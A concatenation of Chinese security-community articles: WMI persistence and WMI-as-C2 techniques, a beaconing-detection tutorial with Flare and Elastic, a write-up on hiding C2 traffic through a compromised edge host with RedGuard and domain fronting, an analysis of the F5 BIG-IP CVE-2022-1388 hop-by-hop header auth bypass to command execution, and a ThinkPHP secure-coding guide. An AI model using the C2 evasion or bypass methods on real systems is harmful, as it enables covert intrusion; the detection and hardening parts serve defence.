是作为系统进程运行的并且避免了以明文方式在命令行审计中显示 payload。例如,如果采用了一个 VBScript 的
ActiveScriptEventConsumer payload,那么唯一创建的进程是以下 WMI 脚本宿主进程:
%SystemRoot%system32wbemscrcons.exe -Embedding
作为攻击者,为了使用这个类作为攻击向量,将会遇到的挑战是去选择一个智能的事件筛选器。如果他们只是想要在几秒钟后触发运行 payload,那么可以使用
__IntervalTimerInstruction类。攻击者可能会选择在用户的屏幕锁定后执行 payload,在这种情况下,可以使用外部的
Win32_ProcessStartTrace 事件作为创建 LogonUI.exe 的触发器。攻击者可以在他们选择的一个适当的事件筛选器中获得创意。
隐蔽存储数据
攻击者巧妙的利用了 WMI 存储库本身作为一种来存储数据的手段。其中一种方法是可以通过动态创建 WMI 类并可以将任意数据存储作为该类的静态属性的值。图 8
演示了将一个字符串存储为静态的 WMI 类属性的值:
图 8 :创建 WMI 类的 PowerShell 代码示例
前面的示例演示了创建本地的 WMI 类。然而,也有可能可以创建远程的 WMI
类,这个将会在下一节进行说明。远程的创建和修改类的能力将使攻击者能够存储和检索任意数据,并将 WMI 变成 C2 的有效通道。
这取决于攻击者决定他们想用 WMI 存储库中存储的数据来做什么。接下来的几个例子阐述了攻击者如何利用此攻击机制的几个切实可行的例子。
使用 WMI 作为 C2 通道
使用 WMI 作为一种来存储和检索数据的机制,同样也可以使得 WMI 能作为一个纯粹的 C2 通道。这种使用 WMI 的聪明想法是由 Andrei
Dumitrescu 在他[ WMI Shell
](http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf)工具中被首次公开——利用创建和修改
WMI 的命名空间作为 C2 的通道。
实际上还有很多 C2 暂存机制可以采用, 如刚才讨论过的 WMI 类的创建。同样也有可能使用注册表进行数据转储作为 WMI C2
的通道。下面的示例演示了一些利用 WMI 作为 C2 通道的 POC 代码。
“Push” 攻击
图 9 演示了如何远程创建 WMI 类来存储文件数据。之后可以远程使用 powershell.exe 将该文件数据写入到远程文件系统。
图 9 : 远程创建 WMI 类并写入到远程文件系统的 PowerShell 代码
“Pull” 攻击
图 10 演示了如何使用注册表来收取 PowerShell 命令的结果。此外,许多恶意工具试图捕捉只是将输出转换为文本的 PowerShell
命令的输出。本示例利用了 PowerShell 对象序列化和反序列化方法来保持目前在 PowerShell 对象中丰富的类型信息。
图 10 : 从 WMI 类属性拉回命令数据的 PowerShell 代码
**0x09 WMI 提供程序**
提供程序是 WMI 的主干部分。几乎所有 WMI 类以及他们各自的方法都是在提供程序中实现的。提供程序是一个用户模式的 COM DLL
或者是一个内核驱动程序。每个提供程序都具有各自的 CLSID 用于在注册表中区别相关联的 COM 。此 CLSID 用于查找实现该提供程序的真正的 DLL
。此外,所有已注册的提供程序都有各自的 __Win32Provider WMI 类实例。例如,请思考以下已注册的处理注册表操作的 WMI 提供程序:
通过引用以下注册表值来找到 RegistryEventProvider 提供程序对应的 DLL:
HKEY_CLASSES_ROOTCLSID{fa77a74e-e109-11d0-ad6e-00c04fd8fdff}InprocServer32 :
(Default)
恶意的 WMI 提供程序
WMI 提供程序仅用来向用户提供合法的 WMI 功能,因此,恶意的 WMI 提供程序就可以被攻击者用于扩展 WMI 的功能。
[Casey Smith](https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)
和 [Jared Atkinson](https://github.com/davehull/Kansa/) 两人发布了恶意的 WMI 提供程序的 POC
,这些恶意的提供程序能够远程执行 Shellcode 和 PowerShell 脚本。恶意的 WMI
提供程序作为一种有效的持久性机制,它允许攻击者远程执行代码,只要攻击者拥有有效的用户凭据。 | 社区文章 |
# 【技术分享】使用Flare、Elastic Stack、IDS检测恶意软件通信的“beaconing”
|
##### 译文声明
本文是翻译文章，文章来源：austintaylor.io
原文地址：<http://www.austintaylor.io/detect/beaconing/intrusion/detection/system/command/control/flare/elastic/stack/2017/06/10/detect-beaconing-with-flare-elasticsearch-and-intrusion-detection-systems/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2869876403)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
在一些恶意软件的变种感染计算机之后，它会定期连接它的C&C服务器。这种行为称为“ **beaconing** ”。
在Lockheed Martin Killchain(kali中自带有这款工具)中，Beaconing将发生于攻击者或APT对目标采取行动之前。
然而，这种行为很难检测到。Beaconing能在任何时间发生，且频繁改变。另外，网络通信没有完美的时间间隔，或者恶意软件可能添加干扰来阻止观察间隔。（例如每30秒）
有些定期通信是合法的，例如时间同步和软件更新。
**Flare** 是一个免费开源的恶意分析框架，旨在尽可能简单的辨别恶意行为（例如网络中的C&C Beaconing）。
**0x01 入门**
在我们开始之前，你需要有下面的东西。
本文假设你有一个网络监控系统，能输出到Elastic
Stack（以前叫ELK）。如果你对网络监控感兴趣，可以参考我的博文“[为企业、小办公室或家庭构建监控系统](http://www.austintaylor.io/suricata/elasticsearch/logstash/continuous/monitoring/intrusion/detection/system/2016/12/17/build-a-world-class-monitoring-system-enterprise-small-office-home/)”。
我们将使用[SELKS
4.0](https://github.com/StamusNetworks/SELKS)，但是Flare是模块化设计，可以和[安全洋葱](https://securityonion.net/)或者任何运行Snort,
Bro, Suricata的系统一起协作。在Elastic Stack（ES）中的流数据是Flare用来确定Beacon的。
另外，你需要安装[Flare](https://github.com/austin-taylor/flare)。（gihub上有指导）
**0x02 构建一个隧道**
根据你的elasticsearch的配置，你可能需要构建SSH隧道来让你的计算机和你的elasticsearch节点通信。
例如，如果你的计算机IP地址是192.168.1.150，你的elasticsearch节点是192.168.1.2，你可以在你的本地计算机打开9200端口。
在终端运行以下命令验证你的连接:
你将会收到elasticsearch的回应。
一旦能连接，就可以运行Flare。
**0x03 配置Flare**
在你安装Flare之后，在你的路径下应该有一个flare_beacon的二进制文件。这个文件是参数和配置文件。
在配置目录中，有一些.ini文件。包括selk4.ini，它是SELKS 4.0的预配置文件。一定要针对你环境的修改配置。
我增加了一些注释来解释每个字段。
像min_occur, min_interval, and min_percent是可以调节的。值越大，结果输出越少。
更多信息参考flare_beacon –h。
**0x04 发现Beacon**
注意我们已经安装并配置好了flare，现在我们准备在我们的网络中寻找Beacon。
我使用下面命令每60秒生成了一个HTTP流量请求：
在这种场景中，我们认为我们被感染的终端发信号给C&C服务器。
被感染的IP：192.168.0.53——>C&C服务器：160.153.76.129
让我们在flare中发现它!
如果一切就绪，你应该能看见下面类似的输出：
注意：Flare使用你配置文件中指定的资源，如果没有正确的配置将是你的计算机卡死。计算机资源与你的网络大小成正比。网络越大，需要的计算资源越多。
下面是flare运行期间我的计算机资源的截图。
我的家庭网络大约有100个节点，大约花一分钟处理24小时的Beacon。
**0x05 理解配置选项**
-group：将结果分组，让我们看起来更容易识别异常。
-whois：通过ASN查询的关于IP的更多WHOIS信息
-focus_outbound：从目的IP中过滤我们的组播，私有和广播地址
-c：使用flare的配置
-html：以html文件输出结果
-csv：以CSV文件输出结果（不会分组）
**0x06 分析结果**
现在是有趣的部分，你可以分析结果了。
如果你使用上面的选项，你的输出看起来如下：
在其他的流量中，Flare确定了和C&C服务器的IP通信。你怎么才能区分这种行为呢？
首先理解输出字段是重要的。
**0x07 输出字段**
Bytes_toserver：从IP地址发送给服务器的所有的字节
Dest_degree：和相同目的地址通信的IP数量
Occurrences：被标识为Beaconing的次数
Percent：被标识为Beaconing的比例
Interval：Beacon的时间间隔（单位秒）
Flare的输出显示了192.168.0.53和160.153.76.129的80端口的通信，61秒的间隔。在节点之间的通信97%是定期的。结果还表明2个额外的内部节点交互到相同的目的IP（这种情况，是我测试了多台主机的连接）。
你也能看到相同的主机以相同的间隔通过google DNS查询DNS，这是因为我们的curl命令首先查找主机名，然后发出HTPP请求。
过滤知名的服务（如Google和Amazon）能缩小结果集合范围。然后你能寻找一个目的地单一但(请求)比例高的beaconing。
更大的网络有更多的活动，因此你最好输出结果到CSV文件中，可以充分利用Excel的功能。
**0x08 调查结果**
在你创建了要调查的流量的子集后，打开Kibana使你的结果可视化。
如果你使用SELKS，打开SN FLOW仪表盘，输入dest_ip作为过滤项。
根据时间序列，选择部分，Kibana将自动调整时间间隔。
现在，你能看到从我们的受感染的主机以60秒的间隔和C&C服务器通信。
可以转向HTTP仪表得到更多详细信息。
在流仪表盘中使用相同的dest_ip过滤。
HTTP仪表盘提供了流量的上下文信息。现在我们知道了一个MAC
OSX主机和一个[www.huntoperator.com](http://www.huntoperator.com/)网站通信。
这时，我们转到[EveBox](https://github.com/jasonish/evebox)，通过点击关联流来查看横跨多个索引的网络流量。
似乎我们的C&C beacon也触发了警告。
深入挖掘警告，使我们能看到触发警告的payload，并确认被感染的主机使用curl向C&C节点发出GET请求。
另外，我们可以挖掘目的IP来观察它的日常。
EveBox能很好的帮助分析主机通信。
**0x09 总结**
使用Flare，你能在你的网络中确定定期的通信。在缩小结果范围后，你研究相互作用，并确定终端使用MAC
OSX试图通过HTTP每60秒和huntoperator.com通信，在24小时内，发送了1.23MB流量并从位于Arizona
的Scottsdale的C&C服务器接收了12.70MB。 | 社区文章 |
# 基于边界节点链路交互C2流量
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：风起
## 前记
大家好，我是风起，相信之前有不少小伙伴了解过 **《C2设施前置流量控制技术》**
，本次分享的是基于RedGuard实现的C2流量高级隐匿手法，具体实现也是基于在打点过程中，当已获取到边缘主机权限并以此作为节点从而实现与内网主机进行隐蔽的流量交互，同时赋予域前置、流量控制，沙箱分析规避等效果。通过自定义内网主机交互域名，而边缘主机使用域前置CDN节点交互。达到了两台主机之间交互信息的不对称，使溯源难度更大，难以排查。
**本文是C2前置流量控制技术的一种延伸技巧，所以主要也是从效果实现及思考的角度出发，下面我会侧重于技术实现的过程进行讲解并剖析该技巧的相关优异性。**
## 技术实现
在攻防对抗场景下，目前大部分单位网络仍然是边界化防御，这里我们思考一个场景就是当处于DMZ区域的对外服务器在进行正常的业务环境下，往往都会配置相关出入网策略，这时当边缘的对外服务器能够出入网但不能直接访问内网主机，内网的PC或者相关服务器不直接访问公网，但是能够访问DMZ区域的业务服务器，这时我就可以将边缘节点的主机作为一个RG节点，将内网上线流量中转至我们的C2设施上，是不是听起来与常规的代理中转上线很像？但是，这只是技巧实现的一种展现形式，更多的TIPS我们继续往下看。
当我们在打点的过程中拿下一台边缘主机，假设我们已经接管了Shell权限，这时我们将RG部署在这台服务器上以此作为我们的前置节点
**（实战场景下，配置文件都是写死在程序中的，甚至将木马与RG结合为同一个程序）** 。
**配置文件如下：**
具体实现的相关配置我们主要关注箭头所指的地方即可， **上面的箭头1为内网主机与边缘节点交互的HOST域名**
，这里建议根据目标单位具体场景设置相关内网域名，试想一下内网中两台主机关于内网域名的流量交互，BT有没有魄力直接切断交互流量呢，当然如果他们能够判断出是恶意交互流量的话。
**箭头2所指就是常规域前置的设置**
，这一个键值对，键对应的是上线的HOST而值则对应了代理的地址，这里我们可以设置为任意使用了相同CDN厂商的HTTPS域名即可
**（CDN节点IP也可以的，记得带上http(s)://协议即可）** 。
EdgeHost即为我们云服务厂商的域前置所使用域名，也就是RG边缘节点通过CDN节点至C2交互时所使用的域名，是的，RG会修改合法请求过来的HOST域名并修改为能够正常通信的云服务CDN域名。
EdgeTarget是内网交互的域名，与箭头1需要相同，也只有HOST为这里设置的域名请求的流量才会被认为是合法的，RG才会进一步修改为云服务CDN域名从而进行后续通信。
**这里我们总结一下：**
就是边缘节点与内网之间主机的交互即通过设置的内网域名，当木马发起请求至RG的边缘节点，会判断请求流量HOST是否为配置文件中设置的内网域名，如果符合则认为是合法的RG会修改HOST为EdgeHost设置的云服务厂商CDN域名进行后续通信将流量中转至C2服务器，实现了整个链路的全隐匿高度混淆。试想一下，内网域名与边缘节点交互的是内网域名，然而边缘节点又进一步更改了实际交互的代理地址及交互HOST，达到了两台主机之间交互信息的不对称，使溯源难度更大，难以排查。
**边缘节点与内网主机交互流量，如上图所示**
这样方式还有一个好处就是针对云沙箱环境下，由于我们的交互IP是根据内网定制化的，那么沙箱在分析时不可能针对内网IP进行连通性关联分析。
在配置的时候需要注意一点，就是木马请求时的HOST应该是：
* **HOST：内网域名（RG配置文件中的设置的）**
* **IP：边缘主机内网IP**
* **上线端口：443（与RG配置文件http(s)监听端口匹配）**
* **监听端口：C2实际上线的端口**
C2监听器设置如下：
与请求相对的是C2监听器的HOST应该是云服务厂商CDN域名，只要最终流量能够中转到C2服务器即可。
内网节点交互流量，如下图可以看到正常的对DMZ区域的内网IP访问了443端口，内网服务器或者PC与DMZ区域的业务系统有连接也不足为奇吧。
边缘主机的交互流量如图所示，实际场景下不会有大量的TIME_WAIT，这里因为为了测试我把心跳包sleep设置为了0，实战场景下设置较大的心跳包抖动以及sleep时间是比较稳妥地。并且个人觉得实战场景下没有使用HTTP流量的，明文流量这不是给态感白给吗哈哈？所以一般这一端口是不会开启的，我们再将RG的文件名改成Tomcat、Apache，Nginx之类的使其交互看起来更加迷惑一些。
说到了心跳包抖动跟sleep时间的问题，直接在Malleable C2 Profile文件中设置以下字段即可。
set sleeptime "3000";
set jitter "20";
如果不进行设置的话，则可能出现异常心跳包告警，当然多数情况下研判人员都会认为是误报从而忽略，但是为了稳妥起见，建议配置一下就不会引起异常心跳包的告警了，当时是通过360
NDR设备测试的，具体效果如下：
而对于HTTPS的流量，市面上任何一个流量监测设备都是无法审查流量的，目前的监测设备本质上都是敏感词匹配，甚至于某个厂商设备数据包检测的比赛中，要求使用明文包，不禁让人怀疑在实战场景下真的会有RT用明文流量交互吗？
而除了上面讲到的交互信息不对称，这种方式最大的好处就是将RG节点放置到了边缘节点从而实现前置流量控制，从而赋予与常规RG相同的功能效果。
* **攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源**
* **根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析**
* **阻止恶意的请求来实施重放攻击，实现混淆上线的效果**
* **在明确上线服务器IP的情况下，以白名单的方式限制访问交互流量的请求**
* **防范网络空间测绘技术针对C2设施的扫描识别，并重定向或拦截扫描探针的流量**
* **支持对多个C2服务器的前置流量控制，并可实现域前置的效果实现负载均衡上线，达到隐匿的效果**
* **能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制**
* **在不更改源码的情况下，解决分阶段checksum8规则路径解析存在的强特征。**
* **通过目标请求的拦截日志分析蓝队溯源行为，可用于跟踪对等连接事件/问题**
* **具有自定义对样本合法交互的时间段进行设置，实现仅在工作时间段内进行流量交互的功能**
* **Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求，并在违规情况下丢弃外发数据包（支持Malleable Profiles 4.0+）**
* **内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单，实现自动拦截重定向请求流量**
* **可通过自定义工具与样本交互的SSL证书信息、重定向URL，以规避工具流量的固定特征**
* **……….**
而RG节点的后置节点变为了CDN节点转发至C2服务器，常规场景下域前置都是作为第一层请求节点的，而边缘主机上线则放置到了RG之后实现上线，DMZ区域的业务系统与公网CDN
IP交互看起来也是那么的和谐。而在这个过程中，内网主机以及边缘主机都没有直接与我们的C2进行交互，也是这种高级隐匿手法优雅所在。
**当然除了上面提到比之netsh、iptables代理中转上线更好的因素之外，简易的配置以及不存在配置记录也是优点之一。**
## 相关导读
**第十届ISC互联网安全大会 高级攻防论坛《C2设施前置流量控制技术》议题**
[https://isc.n.cn/m/pages/live/index?channel_id=iscyY043&ncode=UR6KZ&room_id=1981905&server_id=785016&tab_id=253](https://isc.n.cn/m/pages/live/index?channel_id=iscyY043&ncode=UR6KZ&room_id=1981905&server_id=785016&tab_id=253)
**云沙箱流量识别技术剖析**
<https://www.anquanke.com/post/id/277431>
**JARM指纹随机化技术实现**
<https://www.anquanke.com/post/id/276546>
**RedGuard 项目地址**
<https://github.com/wikiZ/RedGuard/>
## 后记
已经很久没有写过后记了，还是想写一下后续的一些打算吧。本文大概也是未来一年我的最后一篇文章了，之后我可能会短暂的退圈一段时间，去追逐一些，自己真正需要去做的事情，仍然感谢一些老读者一直以来的关注。
是的，我今年20岁了，在安全圈里也有几年的时间了，也一直偶尔的活跃着。一直以来碰到了很多有意思的师傅，哪怕今年HW也碰到了几个饭友哈哈哈？当然，我也一直都说，出来工作的环境下，好人总是比坏蛋少得多，时至今日仍然吃过不少亏，我也发现，我已经没有当初第一次实习时对工作富有热情且滚热的心了，我是一个很容易就对自己妥协的人，所以哪怕我仍然在学习新的东西，努力的进步提升自己，我觉得更多的是心境上对待事情没那么的滚热了。所以我所说的退圈可能不仅仅是离开视野继续学习，我会放下技术一年的时间，安心复习，可能等再次回来我就该真正的确定自己未来的方向了，针对某个方向侧重的进行研究吧。
**期待一年后再次与大家相遇，继续分享我研究的安全技术。**
## Community
有想要认识一下，或者交流技术的同学，可以通过Wechat联系作者: | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/>**
## 前言
最近爆出来的bigip的CVE-2022-1388漏洞，涉及到一个知识点就是hop by hop，对这个东西没了解过，所以有了此文。
## 回顾CVE-2021-22986
CVE-2021-22986原理是因为apache和jetty之间的鉴权不当导致的权限绕过。
当不存在Authorization
basic认证头时，由apache做权限校验，判断basic认证头是否存在，此时response中的server头为apache
当给一个错误的basic认证头时仍返回apache的401认证，注意这里给的是一个`admin:`空密码的admin用户。
当给一个空的X-F5-Auth-Token认证头时，由jetty处理返回401，报错信息为`Authorization failed: no user
authentication header or token detected.`
当两个请求头都存在时，绕过了权限校验，rce。
由此得出结论，当存在X-F5-Auth-Token头时apache不检查basic认证头，而jetty只会判断用户名，而不判断密码是否正确。
思考为什么权限校验不起作用？
查看apache的配置文件/config/httpd/conf/httpd.conf发现
/mgmt/请求被转发到8100端口，并且启用了AuthPAM_Enabled，启用auth会调用/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权，在这个so中
判断是否存在X-F5-Auth-Token头
然后接着拿一些其他的请求头
最终逻辑就是如果存在转发给jetty处理。
而在jetty中 `f5.rest.jar`
com.f5.rest.workers.authz.AuthzHelper#decodeBasicAuth
从header中拿到basic认证的用户名和密码，在`com.f5.rest.common.RestOperationIdentifier#setIdentityFromBasicAuth`中设置用户身份
因为basic不为空，所以进入`com.f5.rest.common.RestOperation#setIdentityData`
因为 `userName!=null && userReference==null`，所以处理完之后用户的身份变为
identityData.userName = 'admin';
identityData.userReference = 'http://localhost/mgmt/shared/authz/users/admin'
identityData.groupReference = null;
接着在鉴权的地方 `com.f5.rest.workers.EvaluatePermissions#completeEvaluatePermission`
setBasicAuthFromIdentity之后拿到userRef，此时userRef即上文处理完之后的用户身份。在判断`AuthzHelper.isDefaultAdminRef(userRef)`时
先拿到默认的AdminReference和当前用户身份匹配，在getDefaultAdminReference()中拿到admin用户的身份new一个RestReference
UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, DEFAULT_ADMIN_NAME}))`最终构建出来的url还是`http://localhost/mgmt/shared/authz/users/admin
所以此时我们在basic中将用户名设置为admin则可以满足`defaultReference != null &&
defaultReference.equals(userReference)`至此绕过权限认证。
然后就是找一个命令执行的点
对应的就是util下的路由功能点
调用bash执行命令即可
另外此处文档中也有提到
<https://f5-sdk.readthedocs.io/en/latest/_modules/f5/bigip/tm/util/bash.html>
## CVE-2021-22986的修复
在上文中，我们传递了一个X-F5-Auth-Token为空的header头，所以completeEvaluatePermission函数会赋给我们一个默认的用户身份。而修复补丁在mod_auth_pam.so判断当X-F5-Auth-Token为空直接返回401
所以我们无法传递给jetty一个空的X-F5-Auth-Token请求头。
那么CVE-2022-1388就是对其的绕过，这里引申出本文的重点hop by hop。
## hop by hop
先解释下这是什么东西。根据[RFC
2612](https://datatracker.ietf.org/doc/html/rfc2616#section-13.5.1)，HTTP/1.1
规范默认将以下标头视为逐跳：Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade、Proxy-Authorization和Proxy-Authenticate。当在请求中遇到这些标头时，代理服务器会处理这些标头，并且不会将其转发到下一个节点。
以推特[@jinonehk](https://twitter.com/jinonehk/status/1420413477521301507)的一张图来看
第一次尝试导出用户时返回403，因为不是环路ip，而当加上`Connection: close, X-Real-IP`时，导出用户成功，说明此时后端服务获取不到X-Real-IP请求头，认为是本地请求所以可以导出用户。
更具体一点，我在这里找到了一个ctf的题目 <https://github.com/ritsec/RITSEC-CTF-2019/tree/master/Web/hop-by-hop>
在verify函数中尝试获取xff头，如果获取不到则默认为direct。
而前置服务为apache，根据逐跳原则，当Connection中加了其他标头X-Forwarded-For，那么在apache转发给下一跳时，会移除X-Forwarded-For头，导致在verify函数中`request.headers['X-Forwarded-For']`抛出异常，由此拿到flag。
可以自己本地搭一个反代试试，我这有一个springboot的项目，只有一个controller
apache 80端口反代springboot 9091端口
先开启反代功能
LoadModule proxy_module modules/mod_proxy.so
配置virtualhost
<VirtualHost *:80>
ProxyRequests Off
ProxyPreserveHost On
<Proxy>
Order deny,allow
Allow from all
</Proxy>
ProxyPass / http://localhost:9091
ProxyPassReverse / http://localhost:9091
</VirtualHost>
正常传token，springboot可以获取到token头
当connection加上Token时，springboot获取的token为null
由此可见CVE-2022-1388
## CVE-2022-1388
在CVE-2022-1388中使用Connection加上X-F5-Auth-Token让jetty接收到的X-F5-Auth-Token为null以此来绕过权限认证。
另外需要注意的一个地方为host赋值为localhost，不然host为ip时报错
因为CVE-2021-22986之后，在`com.f5.rest.common.RestOperationIdentifier#setIdentityFromBasicAuth`中
当host为localhost或者127.0.0.1时，会赋予用户身份。另外这里还可以赋值host为127.4.2.1然后basic用户名为f5hubblelcdadmin，或者通过Connection加上X-Forwarded-Host也可以rce，就不截图了。
## hop by hop的适用面
我本地测试了apache、nginx、openresty、HAProxy，其中只有apache会消费掉Connection中的请求头，其他的要单独测试了。
## 参考链接
看了太多资料了，用到了但是没贴上来的请原作者见谅。
1. [漏洞百出](https://articles.zsxq.com/id_rfsu4pm43qno.html)
2. <https://twitter.com/jinonehk/status/1420413477521301507>
3. <https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers>
4. [RFC 2616](https://datatracker.ietf.org/doc/html/rfc2616#section-13.5.1)
5. <https://y4y.space/2021/03/19/cve-2021-22986-f5-rest-unauthenticated-rce-analysis/>
6. <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Connection>
7. <https://nosec.org/home/detail/4722.html>
* * * | 社区文章 |
# ThinkPHP安全开发规范
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 常见安全问题
目前ThinkPHP在国内中小型开发场景非常流行，但由于漏洞频发，主要集中在SQL注入、信息泄露（debug模式打开）、越权等漏洞，使得业务安全性受到不小的挑战。另外由于ThinkPHP版本比较多，实际业务多用3.2.3或5.1，因此下面主要从这两个版本来介绍ThinkPHP开发过程中常见的安全问题。
### SQL注入
极少业务出现使用官方默认数据库操作方法引发SQL注入的，通常是业务不用官方I函数或者标准方法，而是自定义了过滤函数，例如下面的`recursive()`，由于采用的黑名单方式过滤不完整且没有对过滤结果二次验证，导致通过双写绕过：
function recursive($arr){
foreach ($arr as $k => $v) {
if (is_array($v)) {
$arr[$k]=recursive($v);
} else {
$keyword = 'select|insert|update|delete|union|into|load_file|outfile|sleep| or ';
$arr1 = explode( '|', $keyword );
$v = str_ireplace( $arr1, '', $v );
$arr[$k] = $v;
}
}
return $arr;
}
### 开启debug模式
外网环境开启debug模式调试，导致报错信息泄露，之前有开发认为开启`error_report(0)`可以避免信息泄露，然而这个处理方式对ThinkPHP是没用的。
APP_DEBUG => TRUE;
开启该选项后，一旦sql执行出错或者找不到路由，ThinkPHP则将报错路径甚至sql语句全部暴露。
### 越权
发生越权的情况比较普遍在于操作数据库时没有验证或者合理验证当前用户是否有权限操作，表现为sql操作时没有加上`and
user_id=session->userid`这样的限制或者使用了`and
user_id=$_GET("user_id")`这样的查询方式，前者的问题时没有绑定当前用户，后者的问题时没有从session获取用户身份而从用户可控参数引用。
## 安全规范
针对以上常见的安全漏洞以及ThinkPHP一年爆几次漏洞的现状，建议按照以下规范合理使用。
### 部署
* 务必把你的WEB根目录指向`public`目录而不是应用根目录，并且不要随意更改入口文件的位置。public目录下面不要放除了入口文件和资源文件以外的其它应用文件。
### 关闭调试模式
* 无论是本地开发还是生产环境部署，都不建议直接通过修改配置文件的方式开启/关闭调试模式，而应该使用环境变量（本地开发可以通过定义`.env`文件）。
### 请求变量过滤
* 对于ThinkPHP5，框架建议的获取请求变量的方法是`Request`类的`param`方法（如非必要不要再使用get或者post方法获取，更不要使用原生的`$_GET`/`$_POST`等方法获取）。对于ThinkPHP3，框架建议在引入请求变量前先使用I函数进行过滤。然而，I函数的过滤并不完整，如果用默认I函数过滤的参数直接拼接到sql语句，大概率还是存在sql注入。
//DEFAULT_FILTER为空
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
...
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
...
is_array($data) && array_walk_recursive($data,'think_filter');
...
//think_filter过滤也很有限
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
* 对于ThinkPHP5，对于有明确类型的请求变量，可以在使用param方法的时候使用类型强制转换。
* 对于ThinkPHP5，如果需要获取多个数据，建议使用only方法指定需要获取的变量名称，避免有些不怀好意的数据提交导致权限问题。
* 对于ThinkPHP5，当你使用数据库或者模型操作写入数据的时候，也可以指定字段，避免非法和不希望的字段写入数据库。
### 上传检测
* 系统的think\File类提供了文件上传的安全支持，包括对文件后缀、文件类型、文件大小以及上传图片文件的合法性检查。
### SQL注入
* default_filter过滤规则（默认没有任何过滤规则）
* ThinkPHP的查询统一使用了PDO的`prepare`预查询和参数绑定机制，能有效的避免SQL注入的发生。但不代表绝对安全，如果你缺乏良好的代码规范，仍然有可能被利用。
* 一般使用官方提供的标准数据库操作函数即可
例如ThinkPHP3：
//标准方式
$User = M("User"); // 实例化User对象
$data = $User->where('status=1 AND name="thinkphp"')->find();//如果where条件使用拼接参数则仍存在sql注入
//原生方式
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from think_user where status=1");
例如ThinkPHP5:
//标准方式
Db::table('think_user')->where('id',1)->find();
//原生方式
Db::query("select * from think_user where id=? AND status=?", [8, 1]);
Db::execute("update think_user set name=:name where status=:status", ['name' => 'thinkphp', 'status' => 1]);
* 针对ThinkPHP3的I函数需要特别说明，其默认的过滤方法是htmlspecialchars，用于xss防御是足够的，但是对于sql注入而言，则远远不够，理由上面也介绍过了。
* 对于一些字符串的查询条件（包括原生查询）或者特殊的查询（包括Order部分），需要手动进行参数绑定，官方文档也有介绍。
thinkphp3
//手动绑定
$Model = M('User');
$where['name'] = ':name';
$list = $Model->where($where)->bind(':name',I('name'))->select();
//自动绑定
$Model = M('User');
$Model->name = 'thinkphp';
$Model->email = '[[email protected]](mailto:[email protected])';
$Model->add();
thinkphp5
//手动绑定
Db::query("select * from think_user where id=? AND status=?", [8, 1]);
//自动绑定
Db::table('think_user')
->where('name|title','like','thinkphp%')
->where('create_time&update_time','>',0)
->find();
* 另外，如果确实需要自定义函数进行过滤，也应采用`白名单`的方式而不是`黑名单`！
### 使用验证器
* 对于大量的表单需要验证的情况，建议使用验证器功能统一进行数据的合规验证。验证器的验证操作应该在控制器或者路由阶段使用`validate`方法进行处理。
### XSS攻击
* 如果是5.1版本的话，所有的输出都已经经过了htmlentities 转义输出，确保安全。
### CSRF
* 开启表单令牌验证，尽量开启强制路由并严格规范每个URL请求，定义单独的MISS路由规则。
### 会话劫持
* 在每次会话启动的时候，调用regenerate方法。
* 开启安全头部：更改session配置参数
### 及时升级安全版本
* 关注官方微信公众号或开发者周刊可及时了解
大版本 | 安全建议版本
---|---
3.2 | 3.2.4+
5.1 | 5.1.25+
### 业务逻辑安全
* 很多漏洞源于某个业务逻辑自身的安全隐患，包括没有做合理的数据验证和权限检查，尤其是涉及资金及财务层面的，一定要做更多的安全检查，并且开启事务。
* 一个好的建议是更多的对应用进行分层设计，减少每层的复杂性，独立的分层设计便于提高安全性。
* 越权：自动完成规则里没有包含数据表中某个字段，遇上调用 create 方法后保存的时候就会引起越权，比如用户表中`admin`代表用户是否管理员，`$_auto`没有引入`admin`字段则可以越权，其他操作也类似。敏感读写操作应加上当前用户身份认证与权限判断。
$score = ScoreOrder::where('id', $orderId)
->where('user_id', $this->uid)
->find();
* 并发：对于资金或资格相关的功能，操作数据时需要加上并发锁，避免通过并发绕过限制。
## 参考
* ThinkPHP从漏洞挖掘到安全防御
* [ThinkPHP3.2.3安全手册](https://www.kancloud.cn/manual/thinkphp/1841)
* [ThinkPHP5.1安全手册](https://www.kancloud.cn/manual/thinkphp5_1/354111)
* [ThinkPHP5安全规范指引](https://blog.thinkphp.cn/789333)
* [开发PHP商城要注意的一些常见安全问题](https://m.yisu.com/zixun/13387.html)
* [CI框架安全过滤](https://www.jb51.net/article/142812.htm)
* [PHP字符串安全过滤函数汇总，防止SQL注入、XSS攻击](http://www.xinyueseo.com/other/136.html)
* [PHP应用程序安全设计指北](https://zhuanlan.zhihu.com/p/33163426) | 社区文章 |
# 强网杯 广博的BlueTeaming
|
##### 译文声明
本文是翻译文章
